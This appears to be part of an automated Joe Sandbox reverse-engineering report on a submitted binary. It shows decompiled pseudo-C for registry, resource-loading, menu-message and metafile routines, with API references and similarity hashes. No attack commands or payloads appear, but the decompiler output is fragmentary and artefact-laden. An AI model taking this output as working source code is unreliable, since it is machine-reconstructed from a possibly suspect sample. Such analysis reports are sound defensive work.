0x0080440b
0x0080440b
0x00804410
0x00804414
0x0080469a
0x008046a0
0x008046a5
0x0080441a
0x0080441a
0x00000000
0x0080441a
0x00804414
0x008046bd

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000), ref: 008043F2
GetLastError.KERNEL32 ref: 008043FC
GetModuleFileNameA.KERNEL32(00800000,?,00000104), ref: 00804480
lstrlenA.KERNEL32(?), ref: 008044D1
GetModuleHandleA.KERNEL32(00000000), ref: 0080457A
lstrlenW.KERNEL32(?), ref: 008045E5

Part of subcall function 00802050: EnterCriticalSection.KERNEL32(?,DA7E2511,?,?,00800000,00804281,00822CF0,Module,?), ref: 0080209B
Part of subcall function 00802050: lstrlenW.KERNEL32(00822CF0), ref: 008020A8

Part of subcall function 008027A0: lstrlenW.KERNEL32(REGISTRY,DA7E2511,00000000,?,00000000,?,00822CF0,Module,?), ref: 008027D8
Part of subcall function 008027A0: WideCharToMultiByte.KERNEL32(00000003,00000000,REGISTRY,000000FF,00000008,00000001,00000000,00000000), ref: 00802857

Strings

Module_Raw, xrefs: 00804649
Module, xrefs: 0080458B, 00804609

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: lstrlen$CriticalModuleSection$ByteCharCountEnterErrorFileHandleInitializeLastMultiNameSpinWide
String ID: Module$Module_Raw
API String ID: 1217862086-3885325121
Opcode ID: e06cf84aaa7b75508ea4a1e5f8aeeb0adab066bc3cc7ed05837e015b3d5b094d
Instruction ID: c5fe29ffa76d957270672e92e976c230fe85bbe7082f5ed6b5d53aba37b7092e
Opcode Fuzzy Hash: e06cf84aaa7b75508ea4a1e5f8aeeb0adab066bc3cc7ed05837e015b3d5b094d
Instruction Fuzzy Hash: 509164B19026289BEBA0DB58CC85BEE73B4FF94310F0005A9E619E7192EB715F85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0080F2D0 Relevance: 13.6, APIs: 9, Instructions: 113
windowCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0080F2D0(long* __ebx, struct HWND__* __ecx) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				signed char _v20;
				intOrPtr _v24;
				void* _v28;
				signed int _v32;
				void* _v36;
				void* __edi;
				void* __esi;
				signed int _t37;
				unsigned int _t39;
				signed short _t41;
				intOrPtr _t52;
				signed int _t57;
				long* _t63;
				struct tagPOINT _t65;
				int _t78;
				struct HWND__* _t80;
				signed int _t81;
				void* _t84;
				void* _t85;

				_t63 = __ebx;
				_t37 =  *0x869060; // 0xda7e2511
				_v8 = _t37 ^ _t81;
				_t80 = __ecx;
				_t39 = GetMessagePos();
				_t65 = _t39;
				_t41 = _t39 >> 0x10;
				 *__ebx = 0;
				_v36 = _t65;
				_v32 = _t41;
				if(( *(_t80 + 0x84) & 0x00000001) == 0) {
					ScreenToClient( *(_t80 + 4),  &_v36);
					L14:
					 *0x880bc0 = _v36;
					 *0x880bc4 = _v32;
					return E008159E6(0, _t63, _v8 ^ _t81, _v32, _t78, _t80);
				}
				_t78 =  *(_t80 + 4);
				_push(_t41);
				if(WindowFromPoint(_t65) != _t78) {
					goto L14;
				}
				ScreenToClient(_t78,  &_v36);
				_t78 = SendMessageA( *(_t80 + 4), 0x445, 0,  &_v36);
				_t84 = _v36 -  *0x880bc0; // 0xffffffff
				if(_t84 != 0) {
					L4:
					if(_t78 >= 0 && _t78 < GetMenuItemCount( *(_t80 + 0x44))) {
						_t52 =  *((intOrPtr*)(_t80 + 0x88));
						if(_t78 != _t52 && _t52 != 0xffffffff) {
							_v28 = 0;
							_v24 = 0;
							_v20 = 0;
							_v16 = 0;
							_v12 = 0;
							SendMessageA( *(_t80 + 4), 0x417, _t78,  &_v28);
							if((_v20 & 0x00000004) != 0) {
								 *(_t80 + 0x8c) = _t78 | 0xffff0000;
								_t57 =  *((intOrPtr*)(_t80 + 0xc)) - 1;
								if(_t57 >= 0) {
									_t80 =  *( *((intOrPtr*)(_t80 + 8)) + _t57 * 4);
								} else {
									_t80 = 0;
								}
								_t78 = PostMessageA;
								PostMessageA(_t80, 0x202, 0, (_v32 & 0x0000ffff) << 0x00000010 | _v36 & 0x0000ffff);
								PostMessageA(_t80, 0x100, 0x1b, 0);
								 *_t63 = 1;
							}
						}
					}
					goto L14;
				}
				_t85 = _v32 -  *0x880bc4; // 0xffffffff
				if(_t85 == 0) {
					goto L14;
				}
				goto L4;
			}

0x0080f2d0
0x0080f2d6
0x0080f2dd
0x0080f2e2
0x0080f2e4
0x0080f2ea
0x0080f2f0
0x0080f2f1
0x0080f2fe
0x0080f301
0x0080f304
0x0080f40b
0x0080f411
0x0080f417
0x0080f423
0x0080f434
0x0080f434
0x0080f30a
0x0080f30d
0x0080f317
0x00000000
0x00000000
0x0080f322
0x0080f33d
0x0080f342
0x0080f348
0x0080f359
0x0080f35b
0x0080f373
0x0080f37b
0x0080f38f
0x0080f392
0x0080f395
0x0080f398
0x0080f39b
0x0080f3a9
0x0080f3b3
0x0080f3bb
0x0080f3c4
0x0080f3c5
0x0080f3ce
0x0080f3c7
0x0080f3c7
0x0080f3c7
0x0080f3d9
0x0080f3ed
0x0080f3f9
0x0080f3fb
0x0080f3fb
0x0080f3b3
0x0080f37b
0x00000000
0x0080f35b
0x0080f34d
0x0080f353
0x00000000
0x00000000
0x00000000

APIs

GetMessagePos.USER32 ref: 0080F2E4
WindowFromPoint.USER32(?,00000000), ref: 0080F30F
ScreenToClient.USER32 ref: 0080F322
SendMessageA.USER32 ref: 0080F337
GetMenuItemCount.USER32 ref: 0080F365
SendMessageA.USER32 ref: 0080F3A9
PostMessageA.USER32 ref: 0080F3ED
PostMessageA.USER32 ref: 0080F3F9
ScreenToClient.USER32 ref: 0080F40B

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: Message$ClientPostScreenSend$CountFromItemMenuPointWindow
String ID:
API String ID: 407895249-0
Opcode ID: da727766392685cb635dcdb038027ce5bba874ff3a880c69e314ee6d06be3f8e
Instruction ID: 5617d554a62be23316903013c30cd86eb56d51295f7bf4956312ea1529e5d6f2
Opcode Fuzzy Hash: da727766392685cb635dcdb038027ce5bba874ff3a880c69e314ee6d06be3f8e
Instruction Fuzzy Hash: DF419C719006189FDB60CF68DC84BAFBBF8FB84710F108529EA55E7681D774A841CF65

Uniqueness

Uniqueness Score: -1.00%

Function 008069C0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 87
fileCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E008069C0(void* __ebx, RECT* __edi, struct HDC__* _a4) {
				intOrPtr _v8;
				char _v16;
				signed int _v24;
				struct tagENHMETAHEADER _v172;
				intOrPtr _v176;
				intOrPtr _v180;
				struct HENHMETAFILE__* _v184;
				int _v188;
				void* __esi;
				signed int _t31;
				signed int _t32;
				void* _t51;
				signed int _t72;
				signed int _t73;
				void* _t74;
				signed int _t75;

				_push(0xffffffff);
				_push(E0081F175);
				_push( *[fs:0x0]);
				_t31 =  *0x869060; // 0xda7e2511
				_t32 = _t31 ^ _t75;
				_v24 = _t32;
				_push(_t72);
				_push(_t32);
				 *[fs:0x0] =  &_v16;
				_v8 = 0;
				_v184 =  *(__ebx + 8);
				_v180 = 0;
				_v176 = 0;
				E00816820( &_v172, 0, 0x6c);
				_v172.iType = 1;
				_v172.nSize = 0x6c;
				GetEnhMetaFileHeader(_v184, 0x6c,  &_v172);
				asm("sbb esi, esi");
				_t73 = _t72 &  &_v172;
				_v188 = MulDiv( *(__ebx + 0x14), __edi->right -  *__edi,  *(_t73 + 0x48));
				OffsetWindowOrgEx(_a4,  ~_v188,  ~(MulDiv( *(__ebx + 0x18), __edi->bottom - __edi->top,  *(_t73 + 0x4c))), 0);
				PlayEnhMetaFile(_a4,  *(__ebx + 8), __edi);
				_push(_v180);
				E008162C2();
				_push(_v176);
				_t51 = E008162C2();
				 *[fs:0x0] = _v16;
				_pop(_t74);
				return E008159E6(_t51, __ebx, _v24 ^ _t75, _a4, __edi, _t74);
			}

0x008069c3
0x008069c5
0x008069d0
0x008069d7
0x008069dc
0x008069de
0x008069e1
0x008069e2
0x008069e6
0x008069ee
0x008069fe
0x00806a04
0x00806a0a
0x00806a10
0x00806a28
0x00806a32
0x00806a3c
0x00806a47
0x00806a51
0x00806a6b
0x00806a8f
0x00806a9e
0x00806aaa
0x00806aab
0x00806ab6
0x00806ab7
0x00806ac2
0x00806aca
0x00806ad8

APIs

_memset.LIBCMT ref: 00806A10
GetEnhMetaFileHeader.GDI32(?,0000006C,?,?,DA7E2511), ref: 00806A3C
MulDiv.KERNEL32(?,?,?), ref: 00806A5C
MulDiv.KERNEL32(?,?,?), ref: 00806A77
OffsetWindowOrgEx.GDI32(?,DA7E2511,00000000,00000000,?,DA7E2511), ref: 00806A8F
PlayEnhMetaFile.GDI32(?,?), ref: 00806A9E

Strings

l, xrefs: 00806A32

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: FileMeta$HeaderOffsetPlayWindow_memset
String ID: l
API String ID: 3114738026-2517025534
Opcode ID: a8a9eb2cf4f7980960556ce35b27f0309349f82105c149c7c2af8eccba4160d4
Instruction ID: 5052c35a9eb53dc0dff12db516d3c4f895c2aece57fb563dc0bf04a97c4196ef
Opcode Fuzzy Hash: a8a9eb2cf4f7980960556ce35b27f0309349f82105c149c7c2af8eccba4160d4
Instruction Fuzzy Hash: A8314FB1A00214EFDB14DF64DC45FAAB7B9FF48300F008299E949D7281DB30A994CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00811120 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 81
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00811120(intOrPtr _a4) {
				long _v12;
				intOrPtr _v64;
				signed int _v88;
				intOrPtr _v92;
				void* _v96;
				long _t19;
				struct HWND__* _t36;
				int _t37;
				void* _t39;

				_t36 = GetParent( *(_a4 + 4));
				_t19 = SendMessageA(_t36, 0x40c, 0, 0);
				_t37 = 0;
				_v12 = _t19;
				if(_t19 <= 0) {
					return 0;
				} else {
					while(1) {
						_v96 = 0x50;
						_v92 = 0x11;
						E00816820( &_v88, 0, 0x48);
						_t39 = _t39 + 0xc;
						if(SendMessageA(_t36, 0x41d, _t37,  &_v96) != 0 && _v64 ==  *(_a4 + 4)) {
							break;
						}
						_t37 = _t37 + 1;
						if(_t37 < _v12) {
							continue;
						} else {
							L4:
							return 0;
						}
						goto L8;
					}
					if((_v88 & 0x00000200) == 0) {
						goto L4;
					} else {
						PostMessageA(_t36, 0x42b, _t37, 0);
						PostMessageA( *(_a4 + 4), 0x100, 0x28, 0);
						return 1;
					}
				}
				L8:
			}

0x00811140
0x00811148
0x0081114c
0x0081114e
0x00811153
0x008111e3
0x00811159
0x00811159
0x00811161
0x00811168
0x0081116f
0x00811174
0x00811186
0x00000000
0x00000000
0x00811193
0x00811197
0x00000000
0x00811199
0x00811199
0x008111a1
0x008111a1
0x00000000
0x00811197
0x008111ab
0x00000000
0x008111ad
0x008111bc
0x008111ce
0x008111d8
0x008111d8
0x008111ab
0x00000000

APIs

GetParent.USER32(?), ref: 00811130
SendMessageA.USER32 ref: 00811148
_memset.LIBCMT ref: 0081116F
SendMessageA.USER32 ref: 00811182
PostMessageA.USER32 ref: 008111BC
PostMessageA.USER32 ref: 008111CE

Strings

P, xrefs: 00811161

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: Message$PostSend$Parent_memset
String ID: P
API String ID: 2781538653-3110715001
Opcode ID: 887b9a18f35fe769642e71f14e017c8f8a7fe5e0f160d944a8ef158dec5edf60
Instruction ID: 8bd98b0a0d245e55fc5b275c1c2ab652e0eec54a04fb2f6d309a5cb3e7eeceb8
Opcode Fuzzy Hash: 887b9a18f35fe769642e71f14e017c8f8a7fe5e0f160d944a8ef158dec5edf60
Instruction Fuzzy Hash: 3221A772A4021877D710DB99DC85FEAF7ACEB49710F108016FB04AB281D6B1A845CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 008021A0 Relevance: 12.2, APIs: 8, Instructions: 218
stringCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E008021A0(CHAR* __ecx, signed int __edx, struct HINSTANCE__* _a4, CHAR* _a8, intOrPtr _a12) {
				char _v8;
				char _v16;
				char* _v20;
				signed int _v24;
				char _v1048;
				struct HRSRC__* _v1052;
				struct HRSRC__* _v1056;
				CHAR* _v1060;
				CHAR* _v1064;
				signed int _v1068;
				char _v1072;
				struct HINSTANCE__* _v1076;
				void* _v1096;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t61;
				signed int _t62;
				struct HRSRC__* _t65;
				int _t70;
				signed int _t73;
				CHAR* _t74;
				void* _t78;
				void* _t80;
				struct HRSRC__* _t81;
				struct HRSRC__* _t85;
				struct HRSRC__* _t95;
				signed int _t96;
				struct HINSTANCE__* _t101;
				void* _t102;
				struct HRSRC__* _t103;
				struct HRSRC__* _t120;
				void* _t121;
				char* _t122;
				struct HRSRC__* _t124;
				void* _t125;
				struct HRSRC__ _t126;
				signed int _t127;
				int _t128;
				struct HRSRC__* _t129;
				struct HRSRC__* _t130;
				signed int _t131;
				void* _t132;
				char* _t133;

				_t115 = __edx;
				_t104 = __ecx;
				_push(0xffffffff);
				_push(E0081FBB6);
				_push( *[fs:0x0]);
				_t133 = _t132 - 0x428;
				_t61 =  *0x869060; // 0xda7e2511
				_t62 = _t61 ^ _t131;
				_v24 = _t62;
				_push(_t62);
				 *[fs:0x0] =  &_v16;
				_v20 = _t133;
				_t101 = _a4;
				_t120 = 0;
				_v1060 = _a8;
				_v1064 = __ecx;
				_t124 = 0;
				_v1056 = 0;
				_v8 = 0;
				_v1068 = __edx;
				_v1072 = 0;
				_v1052 = 0;
				_v8 = 1;
				if(_t101 == 0) {
					L15:
					if(_v1052 !=  &_v1048) {
						E0080D040( &_v1052);
					}
					if(_t120 != _t124) {
						while(1) {
							_t126 = _t120->i;
							_v1056 = _t126;
							E00815DE2(_t120);
							_t133 =  &(_t133[4]);
							if(_t126 == 0) {
								goto L21;
							}
							_t120 = _v1056;
						}
					}
					L21:
					_t65 = 0x8007000e;
				} else {
					_t70 = lstrlenW(_t101);
					asm("cdq");
					_t127 = _t70 + 1;
					_t115 = (_t115 << 0x00000020 | _t127) << 1;
					_t128 = _t127 + _t127;
					_t73 = _t128 + 0x80000000;
					asm("adc edx, edi");
					_v1076 = _t115;
					if(_t73 != 0 || _t73 > 0xffffffff) {
						L12:
						_t74 = 0;
						__eflags = 0;
						goto L13;
					} else {
						if(_t128 > 0x400) {
							L6:
							__eflags = (_t73 | 0xffffffff) - _t128 - 8;
							if((_t73 | 0xffffffff) - _t128 < 8) {
								goto L32;
							} else {
								_t20 = _t128 + 8; // 0x9
								_t95 = E00815E1C(_t115, _t120, _t128, _t20);
								_t133 =  &(_t133[4]);
								__eflags = _t95;
								if(_t95 == 0) {
									goto L12;
								} else {
									 *_t95 = 0;
									_v1056 = _t95;
									_t22 = _t95 + 8; // 0x8
									_t122 = _t22;
									goto L9;
								}
								goto L13;
							}
						} else {
							_t73 = E00801030(_t104, _t115, _t128);
							_t133 =  &(_t133[4]);
							if(_t73 == 0) {
								goto L6;
							} else {
								E0081ACA0(_t128);
								_v20 = _t133;
								_t122 = _t133;
								L9:
								if(_t122 == 0) {
									_t120 = _v1056;
									goto L12;
								} else {
									 *_t122 = 0;
									_t96 = WideCharToMultiByte(3, 0, _t101, 0xffffffff, _t122, _t128, 0, 0);
									asm("sbb eax, eax");
									_t74 =  ~_t96 & _t122;
									_t120 = _v1056;
								}
								L13:
								if(_t74 != 0) {
									_t101 = LoadLibraryExA(_t74, 0, 2);
									_v1076 = _t101;
									__eflags = _t101;
									if(_t101 != 0) {
										_t115 = _v1064;
										_t129 = FindResourceA(_t101, _v1060, _v1064);
										__eflags = _t129;
										if(_t129 != 0) {
											_t78 = LoadResource(_t101, _t129);
											_v1064 = _t78;
											__eflags = _t78;
											if(_t78 != 0) {
												_t128 = SizeofResource(_t101, _t129);
												_t34 = _t128 + 1; // 0x1
												_t80 = _t34;
												_v1060 = _t128;
												__eflags = _t80 - _t128;
												if(_t80 >= _t128) {
													__eflags = 0;
													_v8 = 2;
													if(0 > 0) {
														L32:
														_push(0x80070216);
														_t80 = L00801170(_t115);
													} else {
														__eflags = _t80 - 0xffffffff;
														if(_t80 > 0xffffffff) {
															goto L32;
														}
													}
													__eflags = _t80 - 0x400;
													if(__eflags <= 0) {
														_v1052 =  &_v1048;
													} else {
														E0080FF60(_t80, _t115, _t120, _t128, __eflags,  &_v1052);
													}
													_v8 = 1;
													_t81 = _v1052;
													__eflags = _t81;
													if(_t81 != 0) {
														E00801190(_t128, _v1064, _t128, _t81);
														_t133 =  &(_t133[4]);
														 *((char*)(_v1052 + _t128)) = 0;
														_t85 = E00803650( &_v1072, _v1052, __eflags, _a12);
														goto L40;
													} else {
														_v1056 = 0x8007000e;
													}
												} else {
													_v1056 = 0x8007000e;
												}
											} else {
												_t85 = E008013E0();
												goto L40;
											}
										} else {
											_t85 = E008013E0();
											L40:
											_v1056 = _t85;
										}
										FreeLibrary(_t101);
										_t103 = _v1056;
									} else {
										_t103 = E008013E0();
									}
									_t115 =  &_v1048;
									__eflags = _v1052 -  &_v1048;
									if(_v1052 !=  &_v1048) {
										E0080D040( &_v1052);
									}
									__eflags = _t120;
									if(_t120 != 0) {
										while(1) {
											_t130 =  *_t120;
											_v1056 = _t130;
											E00815DE2(_t120);
											_t133 =  &(_t133[4]);
											__eflags = _t130;
											if(_t130 == 0) {
												goto L48;
											}
											_t120 = _v1056;
										}
									}
									L48:
									_t65 = _t103;
								} else {
									_t124 = 0;
									goto L15;
								}
							}
						}
					}
				}
				 *[fs:0x0] = _v16;
				_pop(_t121);
				_pop(_t125);
				_pop(_t102);
				return E008159E6(_t65, _t102, _v24 ^ _t131, _t115, _t121, _t125);
			}

0x008021a0
0x008021a0
0x008021a3
0x008021a5
0x008021b0
0x008021b1
0x008021b7
0x008021bc
0x008021be
0x008021c4
0x008021c8
0x008021ce
0x008021d4
0x008021d7
0x008021d9
0x008021df
0x008021e5
0x008021e7
0x008021ed
0x008021f0
0x008021f6
0x008021fc
0x00802202
0x00802208
0x008022bf
0x008022cb
0x008022d3
0x008022d3
0x008022da
0x008022e6
0x008022e6
0x008022e9
0x008022ef
0x008022f4
0x008022f9
0x00000000
0x00000000
0x008022e0
0x008022e0
0x008022e6
0x008022fb
0x008022fb
0x0080220e
0x0080220f
0x00802216
0x00802217
0x00802219
0x0080221d
0x00802221
0x00802226
0x00802228
0x0080222e
0x008022b7
0x008022b7
0x008022b7
0x00000000
0x00802239
0x0080223f
0x0080225c
0x00802261
0x00802264
0x00000000
0x0080226a
0x0080226a
0x0080226e
0x00802273
0x00802276
0x00802278
0x00000000
0x0080227a
0x0080227a
0x00802280
0x00802286
0x00802286
0x00000000
0x00802286
0x00000000
0x00802278
0x00802241
0x00802242
0x00802247
0x0080224c
0x00000000
0x0080224e
0x00802250
0x00802255
0x00802258
0x00802289
0x0080228b
0x008022b1
0x00000000
0x0080228d
0x0080229a
0x0080229d
0x008022a5
0x008022a7
0x008022a9
0x008022a9
0x008022b9
0x008022bb
0x00802310
0x00802312
0x00802318
0x0080231a
0x00802328
0x0080233d
0x0080233f
0x00802341
0x0080234f
0x00802355
0x0080235b
0x0080235d
0x00802371
0x00802373
0x00802373
0x00802376
0x0080237c
0x0080237e
0x0080238f
0x00802391
0x00802395
0x0080239c
0x0080239c
0x008023a1
0x00802397
0x00802397
0x0080239a
0x00000000
0x00000000
0x0080239a
0x008023a6
0x008023ab
0x008023e2
0x008023ad
0x008023b4
0x008023b4
0x008023e8
0x008023ef
0x008023f5
0x008023f7
0x00802410
0x0080241e
0x00802421
0x00802432
0x00000000
0x008023f9
0x008023f9
0x008023f9
0x00802380
0x00802380
0x00802380
0x0080235f
0x0080235f
0x00000000
0x0080235f
0x00802343
0x00802343
0x00802437
0x00802437
0x00802437
0x0080243e
0x00802444
0x0080231c
0x00802321
0x00802321
0x0080244a
0x00802450
0x00802456
0x0080245e
0x0080245e
0x00802463
0x00802465
0x00802476
0x00802476
0x00802479
0x0080247f
0x00802484
0x00802487
0x00802489
0x00000000
0x00000000
0x00802470
0x00802470
0x00802476
0x0080248b
0x0080248b
0x008022bd
0x008022bd
0x00000000
0x008022bd
0x008022bb
0x0080224c
0x0080223f
0x0080222e
0x00802496
0x0080249e
0x0080249f
0x008024a0
0x008024ae

APIs

lstrlenW.KERNEL32(00000000,DA7E2511,00000001,00000000,00000000), ref: 0080220F
_malloc.LIBCMT ref: 0080226E
WideCharToMultiByte.KERNEL32(00000003,00000000,00000000,000000FF,00000008,00000001,00000000,00000000), ref: 0080229D

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: ByteCharMultiWide_malloclstrlen
String ID:
API String ID: 2576735857-0
Opcode ID: f37991d68d4330a6be36ccf094dcc3ab7c2210628040b05abfdc0d234408f37e
Instruction ID: c8340e17853d5c0436c5f8f64cf21e524e2e2d390e4cac51cd28d12b0f585069
Opcode Fuzzy Hash: f37991d68d4330a6be36ccf094dcc3ab7c2210628040b05abfdc0d234408f37e
Instruction Fuzzy Hash: F381B5B1D006288BCB619B54CC89B9DB7B8FF44710F1081AAE909E7391D7B49E818FD9

Uniqueness

Uniqueness Score: -1.00%

Function 02B514A0 Relevance: 12.2, APIs: 8, Instructions: 171COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000007F), ref: 02B514DB
SetLastError.KERNEL32(0000007F), ref: 02B51507

Memory Dump Source

Source File: 00000001.00000002.718905728.0000000002B51000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B51000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2b51000_pigalicapi.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: a78bbaae607500b6fc2ff59280439e71286d67b81d86e62796e7b6bd84eed7f0
Instruction ID: aaeb0d572ba31d1f945e04d1b156cc622376c65d7f1d3c61fdfd77de1290ecd0
Opcode Fuzzy Hash: a78bbaae607500b6fc2ff59280439e71286d67b81d86e62796e7b6bd84eed7f0
Instruction Fuzzy Hash: 1D71C474E10219EFDB08DF98C590BADB7F2FF48304F648598D91AAB341D734AA41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00801920 Relevance: 12.1, APIs: 8, Instructions: 137
registryCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E00801920(void** __ecx, char* _a4) {
				signed int _v12;
				char _v272;
				void* _v276;
				int _v280;
				int _v284;
				int _v288;
				int _v292;
				char* _v296;
				struct _FILETIME _v304;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t36;
				long _t40;
				long _t44;
				void* _t48;
				void* _t51;
				void* _t52;
				void* _t66;
				void* _t73;
				char* _t77;
				void* _t80;
				signed int _t82;

				_t36 =  *0x869060; // 0xda7e2511
				_v12 = _t36 ^ _t82;
				_t77 = _a4;
				_t80 = __ecx;
				_v296 = _t77;
				_v288 = 0;
				_v284 = 0;
				_v280 = 0;
				_v276 = 0;
				_t40 = RegOpenKeyExA( *__ecx, _t77, 0, __ecx[1] | 0x0002001f,  &_v276);
				_t66 = _v288;
				_t62 = _t40;
				if(_t40 != 0) {
					L4:
					if(_t66 != 0) {
						RegCloseKey(_t66);
					}
					return E008159E6(_t62, _t62, _v12 ^ _t82, _t77, _t80, 0);
				} else {
					_t44 = 0;
					if(_t66 != 0) {
						_t44 = RegCloseKey(_t66);
					}
					_t66 = _v276;
					_v284 = 0;
					_t62 = _t44;
					_v288 = _t66;
					if(_t44 == 0) {
						_t63 = RegEnumKeyExA;
						_t78 =  &_v292;
						_v292 = 0x100;
						if(RegEnumKeyExA(_t66, 0,  &_v272,  &_v292, 0, 0, 0,  &_v304) != 0) {
							L11:
							_t48 = _v288;
							if(_t48 != 0) {
								RegCloseKey(_t48);
								_v288 = 0;
							}
							_t63 = _v296;
							_v284 = 0;
							_t80 = E00801740(_t80, _v296);
							_t51 = _v288;
							if(_t51 != 0) {
								RegCloseKey(_t51);
							}
							_t52 = _t80;
							goto L16;
						} else {
							while(1) {
								_t52 = E00801920( &_v288,  &_v272);
								_v276 = _t52;
								if(_t52 != 0) {
									break;
								}
								_t78 = _v288;
								_v292 = 0x100;
								if(RegEnumKeyExA(_v288, 0,  &_v272,  &_v292, 0, 0, 0,  &_v304) == 0) {
									continue;
								} else {
									goto L11;
								}
								goto L19;
							}
							_t73 = _v288;
							if(_t73 == 0) {
								L16:
								return E008159E6(_t52, _t63, _v12 ^ _t82, _t78, _t80, 0);
							} else {
								RegCloseKey(_t73);
								return E008159E6(_v276, _t63, _v12 ^ _t82, _t78, _t80, 0);
							}
						}
					} else {
						goto L4;
					}
				}
				L19:
			}

0x00801929
0x00801930
0x00801933
0x00801939
0x00801952
0x00801958
0x0080195e
0x00801964
0x0080196a
0x00801970
0x00801976
0x0080197c
0x00801980
0x008019a7
0x008019a9
0x008019ac
0x008019ac
0x008019c4
0x00801982
0x00801982
0x00801986
0x00801989
0x00801989
0x0080198f
0x00801995
0x0080199b
0x0080199d
0x008019a5
0x008019c7
0x008019d7
0x008019e7
0x008019f5
0x00801a50
0x00801a50
0x00801a58
0x00801a5b
0x00801a61
0x00801a61
0x00801a67
0x00801a6f
0x00801a7a
0x00801a7c
0x00801a84
0x00801a87
0x00801a87
0x00801a8d
